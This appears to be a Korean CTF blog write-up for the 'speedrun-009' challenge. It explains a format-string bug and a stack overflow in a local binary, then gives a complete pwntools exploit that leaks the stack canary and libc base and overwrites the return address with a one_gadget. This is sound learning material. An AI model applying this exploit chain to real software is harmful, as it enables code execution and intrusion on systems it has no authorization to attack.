# checksec / file
# process
2번 메뉴에서 S가 전역변수 아님 -> Format String Bug 가능
1번 메뉴에서 크기 0x410+0x8인 v5 변수에 0x5dc 입력 -> overflow 가능
1번 메뉴에서 overflow 가능한 것으로 return address를 one gadget으로 덮는다.
따라서 libc leak과 canary leak이 필요하다.
(return address를 덮으면 되므로 pie leak은 필요없다.)
AAAAAAAA을 입력했을 때 0x4141414141414141이 8번째에 출력된다.
즉, 8번째부터 stack 값이 출력되는 것이다.
따라서 libc leak과 canary leak을 하려면 8 offset을 더한 후에 해야한다.
1. canary leak
1) 1번 메뉴에서 cananry 전까지 더미를 채운다.
2) fsb
- n을 필터링한다. -> '%hn' 대신 '%p" 사용해서 leak한다.
- 2번에서 read로 0xc8만큼 입력받는데 거기에 8바이트 더 가면 canary이다.
따라서 1번의 더미 + 0xd0 만큼이 canary 위치인데, %p로 출력하므로 하나당 8바이트라서 8로 나눠준다.
- 8 offset이 있으므로 8을 더해준다.
- p.recv(18)을 하면 canary leak 할 수 있다.
2. libc leak
stack에서 return address에서 더 내려가보면 익숙해보이는 주소가 보인다.
흰색으로 표시된 주소는
__libc_start_main+240의 주소이다.
따라서 이 위치의 값을 fsb로 leak하면 libc base를 구할 수 있다.
1) 1번 메뉴
- 더미를 채운다.
2) fsb
- canary에서 __libc_start_main+240이 들어있는 주소 위치까기의 offset만큼을 더 더해서 fsb를 하면 된다.
libc base와의 offset을 구해서 실행 시 libc base를 구하고,
one gadget 주소도 구한다.
canary와 __libc_start_main+240이 leak된 상태
3. return address -> one gadget
- 1번 메뉴에서 overflow 취약점을 이용해서 one gadget으로 return address를 변조한다.
DEBUG 환경변수가 없으면 alarm(5)로 5초 뒤에 SIGALRM으로 프로세스가 종료되므로 DEBUG 환경변수를 export해준 후 익스해주면 된다.
# exploit code
#!/usr/bin/python
from pwn import *
p = process("./speedrun-009")
def overflow(pay):
p.sendafter("1, 2, or 3\n", '1')
p.send(pay)
def fsb(a):
p.sendafter("1, 2, or 3\n", '2')
p.send(a)
p.recvuntil("Is that it \"")
# canary leak
overflow('A'*(0x410-0x8))
fsb("%" + str((0xd0+0x410-0x8)/8+8) + '$p')
canary = int(p.recv(18), 16)
log.info("canary : "+hex(canary))
gdb.attach(p)
# libc leak
overflow('A'*(0x410-0x8))
fsb("%" + str((0xd0+0x410-0x8)/8+8+6) + '$p')
libc_start_main_240 = int(p.recv(14), 16)
log.info("addr : "+hex(libc_start_main_240))
libcBase = libc_start_main_240-0x20830
log.info("libcBase : "+hex(libcBase))
one_gadget = libcBase + 0x45216
overflow('A'*(0x410-0x8) + p64(canary) + 'A'*8 + p64(one_gadget))
p.interactive()
# exploit
[DEFCON 2016 prequals] feed me (sysrop) (0) | 2020.03.09 |
---|---|
[HITCON CTF 2017] start (0) | 2020.02.28 |
[33c3 CTF] babyfengshui (Heap Feng Shui) (0) | 2020.02.28 |
baby_heap_1 (unsorted bin attack) (0) | 2020.02.28 |
[HITCON-Training] lab11 bamboobox (unsafe unlink) (0) | 2020.02.28 |